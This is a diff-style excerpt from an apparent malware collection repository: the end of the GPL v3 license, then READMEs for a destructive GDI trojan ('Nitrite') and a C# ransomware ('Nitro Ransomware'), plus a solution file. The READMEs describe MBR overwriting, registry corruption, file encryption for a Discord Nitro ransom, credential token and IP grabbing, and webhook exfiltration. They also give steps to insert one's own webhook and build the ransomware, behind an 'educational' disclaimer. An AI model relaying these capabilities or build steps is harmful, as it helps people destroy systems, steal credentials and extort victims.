Each contributor grants you a non-exclusive, worldwide, royalty-free
|
| 488 |
+
patent license under the contributor's essential patent claims, to
|
| 489 |
+
make, use, sell, offer for sale, import and otherwise run, modify and
|
| 490 |
+
propagate the contents of its contributor version.
|
| 491 |
+
|
| 492 |
+
In the following three paragraphs, a "patent license" is any express
|
| 493 |
+
agreement or commitment, however denominated, not to enforce a patent
|
| 494 |
+
(such as an express permission to practice a patent or covenant not to
|
| 495 |
+
sue for patent infringement). To "grant" such a patent license to a
|
| 496 |
+
party means to make such an agreement or commitment not to enforce a
|
| 497 |
+
patent against the party.
|
| 498 |
+
|
| 499 |
+
If you convey a covered work, knowingly relying on a patent license,
|
| 500 |
+
and the Corresponding Source of the work is not available for anyone
|
| 501 |
+
to copy, free of charge and under the terms of this License, through a
|
| 502 |
+
publicly available network server or other readily accessible means,
|
| 503 |
+
then you must either (1) cause the Corresponding Source to be so
|
| 504 |
+
available, or (2) arrange to deprive yourself of the benefit of the
|
| 505 |
+
patent license for this particular work, or (3) arrange, in a manner
|
| 506 |
+
consistent with the requirements of this License, to extend the patent
|
| 507 |
+
license to downstream recipients. "Knowingly relying" means you have
|
| 508 |
+
actual knowledge that, but for the patent license, your conveying the
|
| 509 |
+
covered work in a country, or your recipient's use of the covered work
|
| 510 |
+
in a country, would infringe one or more identifiable patents in that
|
| 511 |
+
country that you have reason to believe are valid.
|
| 512 |
+
|
| 513 |
+
If, pursuant to or in connection with a single transaction or
|
| 514 |
+
arrangement, you convey, or propagate by procuring conveyance of, a
|
| 515 |
+
covered work, and grant a patent license to some of the parties
|
| 516 |
+
receiving the covered work authorizing them to use, propagate, modify
|
| 517 |
+
or convey a specific copy of the covered work, then the patent license
|
| 518 |
+
you grant is automatically extended to all recipients of the covered
|
| 519 |
+
work and works based on it.
|
| 520 |
+
|
| 521 |
+
A patent license is "discriminatory" if it does not include within
|
| 522 |
+
the scope of its coverage, prohibits the exercise of, or is
|
| 523 |
+
conditioned on the non-exercise of one or more of the rights that are
|
| 524 |
+
specifically granted under this License. You may not convey a covered
|
| 525 |
+
work if you are a party to an arrangement with a third party that is
|
| 526 |
+
in the business of distributing software, under which you make payment
|
| 527 |
+
to the third party based on the extent of your activity of conveying
|
| 528 |
+
the work, and under which the third party grants, to any of the
|
| 529 |
+
parties who would receive the covered work from you, a discriminatory
|
| 530 |
+
patent license (a) in connection with copies of the covered work
|
| 531 |
+
conveyed by you (or copies made from those copies), or (b) primarily
|
| 532 |
+
for and in connection with specific products or compilations that
|
| 533 |
+
contain the covered work, unless you entered into that arrangement,
|
| 534 |
+
or that patent license was granted, prior to 28 March 2007.
|
| 535 |
+
|
| 536 |
+
Nothing in this License shall be construed as excluding or limiting
|
| 537 |
+
any implied license or other defenses to infringement that may
|
| 538 |
+
otherwise be available to you under applicable patent law.
|
| 539 |
+
|
| 540 |
+
12. No Surrender of Others' Freedom.
|
| 541 |
+
|
| 542 |
+
If conditions are imposed on you (whether by court order, agreement or
|
| 543 |
+
otherwise) that contradict the conditions of this License, they do not
|
| 544 |
+
excuse you from the conditions of this License. If you cannot convey a
|
| 545 |
+
covered work so as to satisfy simultaneously your obligations under this
|
| 546 |
+
License and any other pertinent obligations, then as a consequence you may
|
| 547 |
+
not convey it at all. For example, if you agree to terms that obligate you
|
| 548 |
+
to collect a royalty for further conveying from those to whom you convey
|
| 549 |
+
the Program, the only way you could satisfy both those terms and this
|
| 550 |
+
License would be to refrain entirely from conveying the Program.
|
| 551 |
+
|
| 552 |
+
13. Use with the GNU Affero General Public License.
|
| 553 |
+
|
| 554 |
+
Notwithstanding any other provision of this License, you have
|
| 555 |
+
permission to link or combine any covered work with a work licensed
|
| 556 |
+
under version 3 of the GNU Affero General Public License into a single
|
| 557 |
+
combined work, and to convey the resulting work. The terms of this
|
| 558 |
+
License will continue to apply to the part which is the covered work,
|
| 559 |
+
but the special requirements of the GNU Affero General Public License,
|
| 560 |
+
section 13, concerning interaction through a network will apply to the
|
| 561 |
+
combination as such.
|
| 562 |
+
|
| 563 |
+
14. Revised Versions of this License.
|
| 564 |
+
|
| 565 |
+
The Free Software Foundation may publish revised and/or new versions of
|
| 566 |
+
the GNU General Public License from time to time. Such new versions will
|
| 567 |
+
be similar in spirit to the present version, but may differ in detail to
|
| 568 |
+
address new problems or concerns.
|
| 569 |
+
|
| 570 |
+
Each version is given a distinguishing version number. If the
|
| 571 |
+
Program specifies that a certain numbered version of the GNU General
|
| 572 |
+
Public License "or any later version" applies to it, you have the
|
| 573 |
+
option of following the terms and conditions either of that numbered
|
| 574 |
+
version or of any later version published by the Free Software
|
| 575 |
+
Foundation. If the Program does not specify a version number of the
|
| 576 |
+
GNU General Public License, you may choose any version ever published
|
| 577 |
+
by the Free Software Foundation.
|
| 578 |
+
|
| 579 |
+
If the Program specifies that a proxy can decide which future
|
| 580 |
+
versions of the GNU General Public License can be used, that proxy's
|
| 581 |
+
public statement of acceptance of a version permanently authorizes you
|
| 582 |
+
to choose that version for the Program.
|
| 583 |
+
|
| 584 |
+
Later license versions may give you additional or different
|
| 585 |
+
permissions. However, no additional obligations are imposed on any
|
| 586 |
+
author or copyright holder as a result of your choosing to follow a
|
| 587 |
+
later version.
|
| 588 |
+
|
| 589 |
+
15. Disclaimer of Warranty.
|
| 590 |
+
|
| 591 |
+
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
| 592 |
+
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
| 593 |
+
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
| 594 |
+
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
| 595 |
+
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
| 596 |
+
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
| 597 |
+
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
| 598 |
+
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
| 599 |
+
|
| 600 |
+
16. Limitation of Liability.
|
| 601 |
+
|
| 602 |
+
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
| 603 |
+
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
| 604 |
+
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
| 605 |
+
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
| 606 |
+
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
| 607 |
+
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
| 608 |
+
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
| 609 |
+
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
| 610 |
+
SUCH DAMAGES.
|
| 611 |
+
|
| 612 |
+
17. Interpretation of Sections 15 and 16.
|
| 613 |
+
|
| 614 |
+
If the disclaimer of warranty and limitation of liability provided
|
| 615 |
+
above cannot be given local legal effect according to their terms,
|
| 616 |
+
reviewing courts shall apply local law that most closely approximates
|
| 617 |
+
an absolute waiver of all civil liability in connection with the
|
| 618 |
+
Program, unless a warranty or assumption of liability accompanies a
|
| 619 |
+
copy of the Program in return for a fee.
|
| 620 |
+
|
| 621 |
+
END OF TERMS AND CONDITIONS
|
| 622 |
+
|
| 623 |
+
How to Apply These Terms to Your New Programs
|
| 624 |
+
|
| 625 |
+
If you develop a new program, and you want it to be of the greatest
|
| 626 |
+
possible use to the public, the best way to achieve this is to make it
|
| 627 |
+
free software which everyone can redistribute and change under these terms.
|
| 628 |
+
|
| 629 |
+
To do so, attach the following notices to the program. It is safest
|
| 630 |
+
to attach them to the start of each source file to most effectively
|
| 631 |
+
state the exclusion of warranty; and each file should have at least
|
| 632 |
+
the "copyright" line and a pointer to where the full notice is found.
|
| 633 |
+
|
| 634 |
+
<one line to give the program's name and a brief idea of what it does.>
|
| 635 |
+
Copyright (C) <year> <name of author>
|
| 636 |
+
|
| 637 |
+
This program is free software: you can redistribute it and/or modify
|
| 638 |
+
it under the terms of the GNU General Public License as published by
|
| 639 |
+
the Free Software Foundation, either version 3 of the License, or
|
| 640 |
+
(at your option) any later version.
|
| 641 |
+
|
| 642 |
+
This program is distributed in the hope that it will be useful,
|
| 643 |
+
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
| 644 |
+
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
| 645 |
+
GNU General Public License for more details.
|
| 646 |
+
|
| 647 |
+
You should have received a copy of the GNU General Public License
|
| 648 |
+
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
| 649 |
+
|
| 650 |
+
Also add information on how to contact you by electronic and paper mail.
|
| 651 |
+
|
| 652 |
+
If the program does terminal interaction, make it output a short
|
| 653 |
+
notice like this when it starts in an interactive mode:
|
| 654 |
+
|
| 655 |
+
<program> Copyright (C) <year> <name of author>
|
| 656 |
+
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
| 657 |
+
This is free software, and you are welcome to redistribute it
|
| 658 |
+
under certain conditions; type `show c' for details.
|
| 659 |
+
|
| 660 |
+
The hypothetical commands `show w' and `show c' should show the appropriate
|
| 661 |
+
parts of the General Public License. Of course, your program's commands
|
| 662 |
+
might be different; for a GUI interface, you would use an "about box".
|
| 663 |
+
|
| 664 |
+
You should also get your employer (if you work as a programmer) or school,
|
| 665 |
+
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
| 666 |
+
For more information on this, and how to apply and follow the GNU GPL, see
|
| 667 |
+
<https://www.gnu.org/licenses/>.
|
| 668 |
+
|
| 669 |
+
The GNU General Public License does not permit incorporating your program
|
| 670 |
+
into proprietary programs. If your program is a subroutine library, you
|
| 671 |
+
may consider it more useful to permit linking proprietary applications with
|
| 672 |
+
the library. If this is what you want to do, use the GNU Lesser General
|
| 673 |
+
Public License instead of this License. But first, please read
|
| 674 |
+
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
src/Nitrite-main/README.md
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# 🤔 What is Nitrite? 🤔
|
| 2 |
+
Nitrite is a GDI Trojan made in C++ by NotCCR that comes in 2 versions: destructive and GDI only. The creator is not responsible for any damages made with this malware, as it is quite destructive.
|
| 3 |
+
> [!NOTE]
|
| 4 |
+
> Password to zipped archive: "nitrogen"
|
| 5 |
+
|
| 6 |
+
# 🦠 Destruction 🦠
|
| 7 |
+
This GDI malware is able to overwrite the MBR, corrupt the registry, replicate itself, delete the BCD, move the mouse and all active windows, and change all labels to "NITRITE".
|
| 8 |
+
It also displays some mesmerizing GDI effects.
|
| 9 |
+
|
| 10 |
+
I am not responsible for damages.
|
| 11 |
+
|
| 12 |
+
# ❤️ For Skidders ❤️
|
| 13 |
+
I know some of you may skid this malware because of the open source code, so...
|
| 14 |
+
|
| 15 |
+
To prevent that, in order for your malware not to be taken down, you have to obey the restrictions of the GNU GPL v3.0 licence.
|
| 16 |
+
That way, if you EVER use its source code, you must release the source code of your project and credit me as well.
|
src/Nitro-Ransomware-master/NitroRansomware.sln
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
|
| 2 |
+
Microsoft Visual Studio Solution File, Format Version 12.00
|
| 3 |
+
# Visual Studio Version 16
|
| 4 |
+
VisualStudioVersion = 16.0.31105.61
|
| 5 |
+
MinimumVisualStudioVersion = 10.0.40219.1
|
| 6 |
+
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NitroRansomware", "NitroRansomware\NitroRansomware.csproj", "{D5E87439-21E6-4567-A877-6AD9BEE00DC9}"
|
| 7 |
+
EndProject
|
| 8 |
+
Global
|
| 9 |
+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
| 10 |
+
Debug|Any CPU = Debug|Any CPU
|
| 11 |
+
Release|Any CPU = Release|Any CPU
|
| 12 |
+
EndGlobalSection
|
| 13 |
+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
| 14 |
+
{D5E87439-21E6-4567-A877-6AD9BEE00DC9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
| 15 |
+
{D5E87439-21E6-4567-A877-6AD9BEE00DC9}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
| 16 |
+
{D5E87439-21E6-4567-A877-6AD9BEE00DC9}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
| 17 |
+
{D5E87439-21E6-4567-A877-6AD9BEE00DC9}.Release|Any CPU.Build.0 = Release|Any CPU
|
| 18 |
+
EndGlobalSection
|
| 19 |
+
GlobalSection(SolutionProperties) = preSolution
|
| 20 |
+
HideSolutionNode = FALSE
|
| 21 |
+
EndGlobalSection
|
| 22 |
+
GlobalSection(ExtensibilityGlobals) = postSolution
|
| 23 |
+
SolutionGuid = {7F0AD128-C26A-4F33-AB79-E5242E8EF62C}
|
| 24 |
+
EndGlobalSection
|
| 25 |
+
EndGlobal
|
src/Nitro-Ransomware-master/README.md
ADDED
|
@@ -0,0 +1,42 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Nitro Ransomware - Proof of Concept
|
| 2 |
+
Uses Discord nitro gift subscription as ransom. C# Ransomware for educational purposes only
|
| 3 |
+
|
| 4 |
+
## About
|
| 5 |
+
Ransomware is a type of malware that prevents or limits users from accessing their files in their sysem. It locks the user's files until the ransom is paid, in this case,
|
| 6 |
+
a Discord nitro subscription. If a user wants to unlock their files, a decryption key is needed. The ransomware asks for the ransom in exchange for the decryption key.
|
| 7 |
+
|
| 8 |
+
## Disclaimer
|
| 9 |
+
This Ransomware should not be used to harm/threat/hurt others.
|
| 10 |
+
Its purpose is only to share knowledge and awareness about Malware/Cryptography/Operating Systems/Programming.
|
| 11 |
+
NitroRansomware is an academic ransomware made for learning and spreading awareness about how security/cryptography can be used maliciously.
|
| 12 |
+
|
| 13 |
+
## How it works
|
| 14 |
+
When the .exe file is run, it encrypts the user's Documents, Desktop, and Pictures folder. It then recursively checks for any nested folders in the folders, and encrypts all of its
|
| 15 |
+
contents. In order to decrypt the files, the user has to paste a valid Discord nitro gift subscription and submit it. The program checks if it is valid, and if it is, it is
|
| 16 |
+
sent to your webhook. The user receives the decryption key which allows them to decrypt the encrypted files. If it is not, the decrypion key will not be sent, and the user wil not be able to
|
| 17 |
+
open their files.
|
| 18 |
+
|
| 19 |
+
This program should only be used for educational purposes only. Do not use this on others maliciously.
|
| 20 |
+
|
| 21 |
+
## Preview
|
| 22 |
+
###### Webhook Preview
|
| 23 |
+

|
| 24 |
+
|
| 25 |
+
###### Ransomware
|
| 26 |
+

|
| 27 |
+
## Features
|
| 28 |
+
- AES Encryption/ Decryption
|
| 29 |
+
- Adds to startup registry
|
| 30 |
+
- Grabs user's PC username, name, and uuid
|
| 31 |
+
- Discord Nitro Checker
|
| 32 |
+
- Token Grabber
|
| 33 |
+
- IP Grabber
|
| 34 |
+
- Discord Webhook Logs
|
| 35 |
+
|
| 36 |
+
## Usage
|
| 37 |
+
1. Make sure you have Visual Studio 2019 with C# installed. (.NET Desktop Development)
|
| 38 |
+
2. Open ```NitroRansomware.sln```, then open ```Program.cs```.
|
| 39 |
+
3. Pase your webhook link next to ```WEBHOOK```.
|
| 40 |
+
4. You can change the decryption key too, if you want. ```DECRYPT_PASSWORD```
|
| 41 |
+
5. Click on release, then build the solution. Do NOT run it, because it is malware and may encrypt your files.
|
| 42 |
+
6. You can now test it in a protected environment such as a virtual machine.
|